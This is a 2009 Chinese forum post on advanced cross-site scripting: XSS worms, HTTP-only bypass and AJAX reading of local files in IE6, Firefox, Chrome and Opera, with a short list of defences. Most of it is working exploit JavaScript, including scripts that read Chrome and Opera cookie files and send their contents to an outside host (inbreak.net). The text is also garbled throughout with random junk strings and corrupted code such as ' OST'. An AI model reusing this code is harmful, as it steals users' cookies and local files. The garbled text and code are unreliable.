XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
, q6 q; e. W5 {% b } p8 x/ z本帖最后由 racle 于 2009-5-30 09:19 编辑 4 t6 f! Y, J, C/ t% |
* i9 g4 t$ t; z& {2 v6 @XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页0 L3 R1 ]( W' A; i5 g3 Y* [
By racle@tian6.com $ O- u$ K0 q. }9 c# f
http://bbs.tian6.com/thread-12711-1-1.html
- z8 g- R5 p* |; r转帖请保留版权/ ~- W1 x- \7 @ J' ^+ V/ h" `
; D$ Y4 n4 l: J" b3 ?/ x: c: q# u
$ d1 ~" i) S$ g# Q-------------------------------------------前言---------------------------------------------------------
5 L& q2 y* P: x$ O$ C$ I. k- n5 z! X9 w! ^/ L
: F2 u( u; p' W1 X0 C
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.* _& X" q3 w, V" [2 v x! a+ T% I
/ ?9 B) \9 }9 {4 _) R% k2 b, L; F0 |& ?! Y! m! R* v
如果你还未具备基础XSS知识,以下几个文章建议拜读:
0 \+ }- t' J0 chttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介: Y- ?/ ^1 {8 k1 G4 l6 G4 a
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全( B" ^& ]) L7 f' K9 W
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
6 s7 c; T U5 U; S! V/ h$ e6 shttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
7 p2 o$ s9 v% O& |http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码* h/ Q9 }% S( f; V. M% g( ^% x0 d
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持+ ~$ R4 c, K7 F" K- d( q
8 s7 S" o" j0 {( ?+ {( f1 @* |, L; H! s! O
6 D5 m. ~+ i3 R5 }& T+ ]4 l9 z* N) T E# r w8 l0 J
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
* a: J2 n9 k& y2 d d+ u; X; ]2 g" b- q4 o. Z$ q
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
4 h. b& P1 w$ I3 ?/ \+ a! Z1 `1 m! }- g E
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化, k n: W2 A) \( X
5 ?3 R3 j% l9 `* Y) z& A
Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大6 |# K9 @7 G L8 m0 G' H! s0 J
" G* Y; p/ o) S
QQ ZONE,校内网XSS 感染过万QQ ZONE.
4 S6 L8 u1 q7 }! P! D" o) f( T- k% Q# V
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
. m f4 @! ?/ D. ^3 B. h9 Q+ ^3 ]: @
! e" @( A, c' ]- k! N" B' }..........
- y- @+ G. f$ Q$ t8 s, s复制代码------------------------------------------介绍-------------------------------------------------------------
$ _; c& Q) N+ }
* z, u3 X4 l/ L* ~! v, T什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.2 I5 ~' i) r2 [+ j
/ o |: j) m2 z4 ?- V
4 a$ m! m, g* |& H$ X x h( e9 ~% j$ ?: _+ k G1 ] l
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
& F6 e3 t6 `- C+ f8 N
i: \) b. I' X- y( @
! \ u3 O$ Z/ V% A, f) b7 v5 g
6 O' f6 {7 a; m如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.- ^1 Q4 y; o$ Z7 Y4 Q, x
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
2 {5 k9 _" _* ]2 b我们在这里重点探讨以下几个问题:" R, l4 X' w9 {" V: @
% n+ b. U- }/ B& a
1 通过XSS,我们能实现什么?
3 R: |: b1 F( O* V& A5 K
. a& [! Y: q2 x+ q8 z2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?7 Y3 Q. g, {1 r8 I% r3 e) {* d; g0 h
, W2 l7 Q) q' A( i9 A! i! m5 ~3 XSS的高级利用和高级综合型XSS蠕虫的可行性?+ u1 Y. c# w( G" [& N; g) }9 |2 r3 ?; i
* d5 x; b7 f z' H4 L
4 XSS漏洞在输出和输入两个方面怎么才能避免.
- s5 [+ @, ?5 A; V, _
B+ a& Z8 q8 b& I
/ ?# H& a" K6 v2 D+ D
0 R7 ?. L" `# f Z, P( J------------------------------------------研究正题----------------------------------------------------------; v! l& R$ ^- s
& e k: L g, C
7 Q3 t# P+ \) Q1 y
( Y) b5 d$ K7 \; t5 m3 P( ~通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.$ S, a: G: R! P% c
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫. ^( W* h; m) }( q% A$ g- g
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
3 k+ D& N2 h5 e1 `4 L1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
1 v7 s" `' I8 N* w3 Z8 [2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
$ s( f. A6 y+ I* P( r+ ]3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
! e& M; X% f3 v9 d4 p4:Http-only可以采用作为COOKIES保护方式之一.
: S2 G+ Q/ x) }, ?! @
$ \) G8 I8 \3 B2 u. V1 z4 c
6 F% G+ X! K" K, k; C# |) s0 w6 ], @( Z% l! W
" `2 ^, o/ P* ]6 Y0 J7 [9 ~/ H7 o" B- E8 {
(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)) `4 j, w( M$ u
, @0 G2 \* y2 V5 h1 [" y( ]; y; H我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
$ a* R) h! S& o2 e4 n+ b! o/ V
1 r) R6 d) x9 s
3 N# d! n& P( X9 r
1 Q4 U$ w# j' w$ O 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。& {6 u! C' Z' G; M! A
- t0 {" |3 \2 U" @* f
1 b" W) ^8 ~0 {4 }. t0 r: S1 L
. u' \8 H0 J" H4 @) s- ~7 p 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
+ Y0 Q5 F1 R; I/ ^& ]/ J
& X+ Y: e3 Q% k. C
. J3 o; ~9 H8 X' \* h$ _6 l1 A" \4 R8 K% @
4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.* V- h( e9 i" ^5 f
复制代码IE6使用ajax读取本地文件 <script>
; \. \& `* m6 ?' F0 {
0 A4 i1 [/ @) i/ q" H function $(x){return document.getElementById(x)}% ]8 @* R2 S' F3 `- V3 l
& ]( v! H1 Z D6 Z: b5 |; ?
; e2 r- a/ l6 R
0 r# |. K! w% T, A c function ajax_obj(){
3 k, _2 \/ F% o, Z4 }
' a7 Y: e; x* A' J4 p0 a5 J( B n4 m var request = false; m) S" Y" ?7 b# p
4 Q/ z8 y$ z3 f# h if(window.XMLHttpRequest) {! w* L* v. O+ I( q
# s; L |3 p% M- [- e% V request = new XMLHttpRequest();) g8 A! j0 F3 L, j2 ?
' l, u0 d! L! T9 G' R# o } else if(window.ActiveXObject) {
) {9 q7 q5 {! S7 Y
2 N! b7 E- X7 m7 ^* n9 R) U var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0'," i' E& Q' h8 d- V! }. n$ Y- N
( S' x: u' h E
& W: v L" d4 f2 I
8 f6 U! i& P( _' k0 N 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, y, l% F9 c1 e8 t; m3 e3 `5 a
' ] w: c s: n) Q8 Z6 l for(var i=0; i<versions.length; i++) {
1 @2 K; H: K3 ]$ t( Z; e& u
- t9 C7 ^8 }& A1 t( t) I0 Q& d( c try {
- s! E9 z6 c, T3 j# E2 z/ [. d I
( @! E* N" W/ _( P# Z0 b. ? request = new ActiveXObject(versions);
2 S; m' ?( a/ @# x+ P, a& W/ Q
) G3 }' H' [7 o: @% @5 j& E } catch(e) {}
. J/ a1 e/ {6 H: e7 R$ M6 d, \1 |4 m
}
: u) @" X, B2 l3 j+ f) w* ]3 r
1 n* T! X, }4 ^' S2 L2 S- A7 ]) c }6 L3 d" e0 k1 h8 O$ g( }; W. @
+ l0 ]) B# w2 r7 ], q
return request; u9 T* ?3 N/ ~; q' [5 f
3 v3 ]- ]4 G2 J" ` }
. }" _( s5 ]/ y, H- i3 I' Q) g: d, @) f1 [6 x
var _x = ajax_obj();( p: q0 i6 b1 e! f
1 c- s$ ?; U% z5 I" o9 W function _7or3(_m,action,argv){
" ~4 t/ k0 j3 V3 g/ y) c7 K3 {; h( s& W M% P: i
_x.open(_m,action,false);9 n/ e3 ]) N( q$ r
1 ?$ S* ?% e% M, Q: m+ @5 e3 C
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");+ ?* e* k/ n4 `. c+ Q! B
7 w2 s9 W1 t" U" z
_x.send(argv);; |9 v& W$ Z( ~* p) `
$ F4 B, @/ G( A u% F. B return _x.responseText;
3 E4 g4 f$ W7 c/ X0 _
2 A* q4 [9 N" p2 f& K2 p }, R% Y8 i/ U) K; ~6 s
, P: d5 ^7 e' L
( p5 k/ m+ r6 w% j# K7 A
7 U+ m0 _: d( E9 t0 |5 A7 p var txt=_7or3("GET","file://localhost/C:/11.txt",null);, c% X B1 e1 u" G" Y
' F) J! ~$ n# X$ i+ ]7 U4 j alert(txt);
$ L) [% O: n4 J4 O0 j
& m* \- l2 j6 E5 X X8 u* Y M' o: Q0 p
/ _/ u6 `9 Z4 t f8 D </script>6 T& _& z9 F( f* }/ N" m
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
5 c5 P% s2 f( K
; d; ~* I& N9 I7 H% B9 I function $(x){return document.getElementById(x)}1 u, u! ?4 r# H3 u
% t9 ^ {, s3 G) M y2 b+ C `$ j- D
7 s& k( M( a4 ` function ajax_obj(){) R6 }9 s& X5 @1 L% C+ r' X, T" a
. e+ c Z* `( }: X/ b
var request = false;
' h) y" w5 U) V4 w" D9 t/ A! q O, e2 H: y7 a
if(window.XMLHttpRequest) {) _8 M/ @. y+ V: n/ ]: M
, g+ f: y) j$ n" R% m
request = new XMLHttpRequest();
- M B: [1 i! ^: K6 G/ [+ _
; U+ Z! G# k5 c8 [* [! W } else if(window.ActiveXObject) {
0 q/ m1 C, H1 {) p/ k0 U5 e, m" e2 N9 e( j
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',* o" e; y/ U. N/ ^7 \' l
* S v, b. O* j9 `3 k9 ?
0 k& n0 A* Q6 D9 ]& P, K6 J
5 ^% y2 `3 m' s5 W8 ^
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ U6 k7 u+ z% k; S$ _. F+ K
* B% a* {- a4 K" G" T. W. W for(var i=0; i<versions.length; i++) {: T6 i4 ^0 E+ x0 S
) Z) r1 ]0 c4 {! t `- {: ]+ h
try {
+ X. c! |2 n6 A& s: h4 H: K/ [ s# |4 k/ n3 Z% S3 [
request = new ActiveXObject(versions);
. I2 K+ D, G% ~" z' ^9 e" o d$ A, g' ]5 a' e4 U
} catch(e) {}
7 p$ i1 \1 M: `% _0 _9 g! k3 l' i
# h2 n$ n6 c0 v5 z# C) u; U }; I7 L* G6 n; N2 [ p
8 U4 O" {5 h3 x; U& P# x
}
2 `0 _) T @* M) C5 f3 R) ?, r! e. G# U9 X# v+ V
return request;
1 u5 u; Z, u4 y2 @$ l I* |& v( I! N
}3 t: |0 H* b: l4 J, o
6 M0 R9 @; j, |9 j var _x = ajax_obj();
* N# n, j: C i/ j/ ]" g; y2 Q6 L, w+ l i$ J) A# B5 L3 P. @
function _7or3(_m,action,argv){3 h( Y& q* v( ^6 R1 g
: i% M/ Y G. A( ?/ |( F _x.open(_m,action,false);0 F% N3 b3 C4 p+ ~
1 ^8 s$ t: \# M7 O. F1 M if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
& b( |! G/ g$ o* y
$ h! X$ f4 j+ p5 U+ z; t _x.send(argv);* Q( ?$ a3 M5 v
9 W. ^# V& p/ O6 ~0 ?% N' L0 x
return _x.responseText;: L; L; V1 _8 s4 Z& I3 m9 a
4 r% F+ `" A% {) ~8 U/ }, T9 e
}5 X U' g) Y% `) A3 T
?: s4 ?1 q" d8 S
9 {; H0 A9 e; ?- ]) e# ]) J& l" N' G! k p1 i& ]4 L2 e3 K: R
var txt=_7or3("GET","1/11.txt",null);
$ P+ C3 N% R1 ]$ v9 H, t4 p+ m# Q# u1 E7 o( L& C
alert(txt);
# \* Q6 `- @& ~( X5 P/ l2 A9 k
* D9 P$ Q0 W! `$ p% A+ g+ u/ ~
8 [" @+ b( g* G f; s: u% B2 N# R+ y0 k3 Q0 P/ x; r6 W( N
</script>
+ T+ B. S' [8 x4 L' U( T复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
. Q2 ^% l5 D3 d* V* v" T0 v- h/ J
1 r( c% L+ c& |5 o: x _$ a
' n4 q: ^& g( C( f$ xChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
3 T' k# `" H1 }6 J8 E, Z" W$ L& U0 d) t
) D4 |- Z$ t- G" l+ I6 t. g( x/ T
( M: I/ u& H9 l* X: @( s; b<? 2 Y6 L+ d/ ?" D) O8 J& E
) p: ^: O2 ?6 e: m* x$ K/* ) ^9 o# a- e- w# ~
2 v' H5 n, \6 O1 k
Chrome 1.0.154.53 use ajax read local txt file and upload exp * R- j, X! @/ Q3 T- j% a2 N
; B+ Y7 w% u. h, k; ^ P0 M1 \ www.inbreak.net
+ R0 I+ \: J; e0 l- W7 j
) w: U; D6 r" M) r* l6 e' V author voidloafer@gmail.com 2009-4-22 & R }" @! ^, ~4 ?2 l
: A- g' u. `, F/ T8 y8 m& l# ~ x
http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. ( n2 H- m( d A
( O5 l/ t+ |0 _4 D+ v% s
*/
- L$ y3 n0 D! @0 B5 v# o2 _8 j: t `' [% m* A7 \! R, L
header("Content-Disposition: attachment;filename=kxlzx.htm"); . T$ F# d1 j. w+ Y7 f$ }
! q, K1 i9 t0 y S3 Bheader("Content-type: application/kxlzx");
. s/ J& C/ E1 Q* h* }& ]8 o0 Q6 a3 K- G# R7 T
/* : W8 Z% U+ E* y: F
& j9 k+ Q5 l5 m& N A
set header, so just download html file,and open it at local. M7 z x3 R5 M" u5 G
' J7 e; m- F$ x
*/ $ t4 l" c( d3 K Y4 r/ g3 x! S
2 a% |4 j& j" a' I?>
2 w/ q+ W3 x. S5 G+ G V6 ]9 L8 x4 P1 I; w, A1 j5 d n2 A
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
8 n( Q: q/ J A$ X) f. K; @) f! K2 U+ z& C: d4 g6 |3 q
<input id="input" name="cookie" value="" type="hidden"> & y" P- A% Q- u. i' m5 e5 W; m
* d6 b, U/ p; Y9 ]% v- S</form>
: W# G+ ]. x, H+ \
! s F5 h4 O/ t0 N2 |<script>
- B( j' K; \9 j. N6 i3 i( M& v3 I: g% Q1 Q
function doMyAjax(user)
8 q/ U/ X/ _9 j; L- A1 s& A5 Z( Q9 |- k0 ?/ ]
{
1 A; F# c1 z# Q& M
/ c% d5 j0 h+ f- I3 Uvar time = Math.random(); % ~1 B# E) T" Q" z" e. e7 q6 a
% i- E3 C; s9 X* d# r2 @
/* 9 T& T- |4 c( |( x7 }
# I$ O- H5 K: r6 W: R" e+ ^8 vthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
7 y9 `* n4 h; x. i6 J
+ _, I* A( \. Q$ p8 Cand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
{1 y) X* P0 ]
3 U6 L! s( S" X; L" W4 ^and so on... * n v2 t3 t! d! l
% ~* k3 B: J( V) l8 A# j*/ r l0 q4 ?( S( O q; u: d
" ] N" z" q' B0 A8 J0 L/ G7 P
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
$ I4 V5 n0 ?: B, k: F y' n2 |8 ^* `6 P; e2 u6 r: w
! L- h G) s2 M9 U* p
# g' ]! ~0 t2 f7 j' b
startRequest(strPer);
3 x8 q) U5 T7 u1 E) A" n9 J: O& n5 p- u: \
' k" l% i5 O; R# r; h- R7 I; {0 y* F; {
} + r. {$ z& y- n' M4 b1 M8 m
9 G3 \8 i" _- k- k% H3 e
/ ?8 `! S7 s- `3 l/ q# K# u8 E- ]) k7 r
function Enshellcode(txt)
( E& [8 i1 ?3 r( X1 M' Q+ Q
5 }( y2 {( P+ }% O! I R4 ?{ ; p% v J; F4 }- A1 H; P
9 v& D9 x: l9 Q V ivar url=new String(txt);
( g) _' e8 @& g! k
4 r7 V% N; K lvar i=0,l=0,k=0,curl=""; ! H9 W" R" L0 e
7 U8 `5 u! t$ n6 G
l= url.length;
1 q/ L& Y, r1 ?. a- s! D4 [2 M3 E9 L* f# N" Q2 V0 l
for(;i<l;i++){
$ D3 s. G$ v5 ~1 a
5 z- ?! h; }" T# ^. xk=url.charCodeAt(i); # a& c$ t7 G& Z4 A' Q. K1 x
" I, U& y7 u6 p( p% c! ^if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
$ v! r6 _/ L3 z# G* {* Y, e' P5 }# _* T7 C
if (l%2){curl+="00";}else{curl+="0000";}
7 t8 U8 y8 N$ A7 O
8 z G- S$ G. jcurl=curl.replace(/(..)(..)/g,"%u$2$1");
2 S: O7 M! F/ W# H' l4 G9 V e& h
. w! X7 R4 T4 c( C. t0 Areturn curl; . c8 z* p! [& L; J, l4 u) U# |, [& |
' J$ f5 M2 C0 Z; |+ o8 ]
}
9 z+ ]/ W0 A- \5 ]# d; ~6 n; ^7 O$ D6 }2 c: D. }
# u* Y; t4 P6 [. L V$ h6 F
* N5 |. u i# G/ Y. e" S0 m5 B
4 ^% x! u+ f/ \ x
8 N$ b, ]; L6 @$ P- Vvar xmlHttp; % p. p& ]( Y4 Z
/ m$ x6 Y! P1 A. ~ Lfunction createXMLHttp(){
, ^ V. f3 z2 V! ~$ ]. P2 y0 C: M1 E
if(window.XMLHttpRequest){ 6 C5 l/ d& m1 |* f& q N
0 X8 m; u. x+ f* k. e' R
xmlHttp = new XMLHttpRequest();
) m9 C7 M' ]3 K* x- G
. E$ f. Y; C: ^* z1 L } ) V7 u i: G5 A
2 X, d4 z4 B- ^5 K+ M- Y3 k
else if(window.ActiveXObject){
- u ^: F# X3 |! |! X/ @1 ]# }' J/ }; k, m; r
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 9 a4 P' Z9 i8 V- o: G4 c
+ D% j$ o, W8 X: i% H- L
} 6 X X, d& M5 {: N0 ^* P( O
- T: ], u. j. m% i2 a9 @2 u9 F+ J- Q
} F, m2 _' a* L
0 \1 u& @2 T* h$ P/ v# c2 R% h" J
6 l' c5 _0 U- \# J3 x2 [' z6 t. U% w. `. y
function startRequest(doUrl){ N: ~! _9 O. Y g
. P' I4 ?* y" K
# X! j( {& _* T4 j4 X- v* B/ [( Y5 J$ H7 J( M0 ]- h4 B _
createXMLHttp(); * N7 g8 u: y% a
* z2 i6 r+ b' O' \% ~; x/ q" l6 E: k' X9 m
& ~+ x' `8 c/ n
xmlHttp.onreadystatechange = handleStateChange;
u8 a$ H+ g p h5 z6 b' [$ x* ~2 D1 b
) n% \! ^2 S. r+ [* Z) D2 ?
+ I* \( l6 i# V* i xmlHttp.open("GET", doUrl, true); q; Y2 {& v- q$ ]! {* i8 {
4 ~/ r1 N/ D1 o& ^
( N: ^9 n% v# A0 q* Q
/ c' B3 _& `$ I; B) ?) }
xmlHttp.send(null);
& }4 {: a0 X( H8 ]2 I4 W
- ]9 A* Z. K- j
6 M$ ]) I9 q4 y
$ p( n, G3 F8 U5 E# c+ z$ Y, y3 J) |; x, M; q0 H! S
9 [( u9 K" s) v2 W* E# i}
& T* ?5 a' V/ M+ ?; i; ]# U( _+ I/ f+ `! ]6 y
( F! f; A# X- ~) ^/ [. q
$ T) e! O; n! z& D
function handleStateChange(){ * G- Q9 C8 d/ n- g
/ q' U! r' [$ w+ K* `% z
if (xmlHttp.readyState == 4 ){
0 R' {; a0 b8 k. w0 D- T2 j& Z+ V- ^9 [+ w+ [
var strResponse = ""; & R- L3 C' V$ Q5 S5 {. o; I( u
0 L" U) v" p; P( Q1 {- D9 a5 O" H F setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 7 r8 g. R% X- g$ Y1 O+ z5 H/ S. B. I
' K& D" B& i( y% a) U3 U" [
( W7 Q9 o( X! f; U) |- q" P5 f [7 k9 Q. O
} 7 J- l% X0 }0 v( k3 I4 I
+ w) o9 `8 L1 d7 q: L% g4 v} & n$ T# C: w1 q G6 N& P6 r
! A9 \5 O" ~9 h, k5 ]. [
+ [# U* `2 a$ {9 s+ T& _, \
2 M7 A! x! _- b, n; K) c) b8 H8 ]7 u
- \# b% H( b/ E3 T6 [0 a- A& K/ L( H
' l& ^: R6 u" X- M% _; Z/ _- j6 Yfunction framekxlzxPost(text) + a6 w; |5 H) G( l6 }
( _* M& ?7 D4 f F+ ~( t
{ ) ?+ I; U+ h# q. v$ Z
d, r& u. l) J, t1 v# s( h
document.getElementById("input").value = Enshellcode(text); 1 r. E- I/ `% q. Z
. R2 i3 j/ S, B% v3 n document.getElementById("form").submit();
' Y/ |2 _/ V9 ]6 w; @! M* O' H1 d; \' m( u. |7 b( c
}
5 V- x9 V) N7 V" [, S$ I% O/ U* D9 }- c! L. i5 p! K' y) o) P
! P" C1 X9 ]& T2 _/ e
& }) P8 O+ {% j9 g" l/ E' ?* X
doMyAjax("administrator");
* Z! ~" a$ G" N" F" W; E
% c* G0 _2 ~ A7 F& m% p
8 B& u7 p& z$ K2 H, Z/ Q
4 h$ s% g3 F8 E, i$ y</script>
( x2 V% M( v7 E& `0 X复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
3 V6 ^$ u m7 U* T9 r8 |3 W! e( m( h4 V0 ~
var xmlHttp; 4 v# N v$ B: G
- P& p- e+ S& u/ A$ C% Hfunction createXMLHttp(){ 7 Z F( |2 p& `2 I4 Q
( @9 F2 z5 C" B% y( q E, |3 x if(window.XMLHttpRequest){ 2 j3 ?' z. H1 k) h; m2 N& X5 s
5 C" i: j0 ]. \7 D. n, U0 Y0 x" y xmlHttp = new XMLHttpRequest(); , G5 z& {6 ?$ j: u8 {
8 N- J q; r1 m4 Y8 }% I4 Q
} 9 e4 f# i4 x! j# W% [/ @' D& j
! }- c. R2 e- P& ]! X% M& w
else if(window.ActiveXObject){ ; D9 m2 ]5 D: [9 d5 S5 q
' N9 @% i9 [) `# a! P. }, Y$ d xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
- g+ u7 w O# | c
8 c2 }* o8 [! } l, { } ( z0 Q5 r. T/ y7 H
5 g4 t+ F3 R/ }, g
} 8 G X0 l" F. o$ }4 Q
9 A* N, e) b+ `0 X
- J- s/ @& a- }" U8 g5 S3 \1 u& a2 B1 I G" ? e1 z
function startRequest(doUrl){ * G# E( Z ?9 Y9 A
0 `5 ~7 j7 G; s4 M7 i8 k
& f w2 b& @+ O% _" O4 T2 L$ G- X" P' l% |( c# v# q8 z8 V, k
createXMLHttp(); ; k. `8 g/ R. Y- i
- ?- U, ~% ^& j: _' Z0 ?
3 q2 ~/ I% i/ R2 ]" ~# w: Y+ p
" q$ @ E. h4 C4 j" s/ y' s1 k xmlHttp.onreadystatechange = handleStateChange;
+ t2 O4 P8 W0 R3 K$ }. |8 ~( I; @7 ^
; k" a" O- |, T6 k- s& L y! j( H a0 v# m% Q
xmlHttp.open("GET", doUrl, true); - w# C- |. p) k
" b7 d$ B. |- D 8 l& z, V8 d/ f& k' O( q
+ W1 ?$ R q8 O d xmlHttp.send(null); # ]+ K4 W8 q3 N
" O1 _+ e7 D. j6 R
5 z: Q; v: A+ H* ?, a, L
1 x2 k5 V; i3 W! D
& o9 B# ?1 h d. m4 w) Y3 }4 i1 E. Z- Q! B5 ^. Z
}
, P: F* @5 [' P& d f
* S9 F: g0 i4 |0 m6 x
4 T7 S( _6 d7 V* c; Y( {6 p+ d9 A
$ t$ C |) u. `2 rfunction handleStateChange(){ 2 ~( ?6 n$ T8 E) @. a: N( j4 C, @5 X( z
0 L, ~9 K( w, D/ _2 C
if (xmlHttp.readyState == 4 ){ 1 D o+ Y' I: }, `
I& x, b6 _" E- ] var strResponse = "";
+ x5 Z% g4 D0 [3 [# J/ `& z% n: M# h% Z( Z
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
' E9 i- K6 R$ l, P3 [* I
# [5 f, w9 n% h. z& V) l % `( L- b& j- k# _' D. J' R3 R
/ F2 ?& n0 s5 Y# {. n4 X5 a
}
6 Z* I% p* t5 I( ]% \7 K6 S% B. N) @
} & N9 O2 G2 z' F) l8 N! q
) g: i9 U3 z0 c9 t1 \' ^& t
4 Q1 S$ n8 m' _6 C! ]# w
& I3 R: I7 p' b/ x; Jfunction doMyAjax(user,file)
% U: A5 x6 x- u: |" I' n4 K- {( A: n7 G8 x
{ ! K/ B( z( _0 G, u
o: {$ y2 M( U0 W# z2 Z/ @& r
var time = Math.random();
. ~& e: h, T" b7 [/ E1 a C3 p4 {) Y$ O, r
1 ?: n- i7 r% f. _# J
9 {& m; g6 t9 m var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; ' w6 R. C& C3 g1 j( ?- \ J0 O
$ P+ I( V; q8 f5 a* i
/ z1 e5 }! @& t! B3 c* r9 B( Y
8 W% c4 z& j7 k& ^! B7 c$ z startRequest(strPer); 5 q& U$ M+ Y& [) r- K9 l
5 J: h6 v! C( L. |4 s
. Z* D" |# K. ]/ F$ k% r9 l& Z* A- q) d! R3 d' X
} $ D! V$ ~+ O9 r. v
0 j7 T2 B, u9 Z2 m* F7 S! n
8 k8 @3 ^; R/ i. X+ ^$ v
0 h2 s. {: a0 O Z5 n, A+ Sfunction framekxlzxPost(text) 4 s1 G1 C! N( T7 y+ k( k
" @& W" u0 s) m& k1 E/ s4 p
{
' q; U: _ f! i0 j6 y
& r \0 M) B8 }+ R) P" {2 p document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
8 C* b4 [- J: {; o1 I4 B* |! `1 k0 N1 H: J/ H
alert(/ok/); $ _, t: y# G4 T: U% {
+ V! e; d, U( G
}
& L% ^- h& D+ q Q" K8 p! i" \0 C( w! X
( ^; T* W9 f/ E5 E5 G& h2 g3 {; P
6 {# b5 k; r$ t3 c
- d6 |7 k+ Z) x5 B# G4 }doMyAjax('administrator','administrator@alibaba[1].txt'); * v( o9 Y/ W2 n4 x2 `( J3 f
/ x3 m0 x6 Q$ E8 b
( n8 g5 H% T% V* \
' o7 J6 T6 [5 { S
</script>
6 {# U$ e0 f( T" x, C
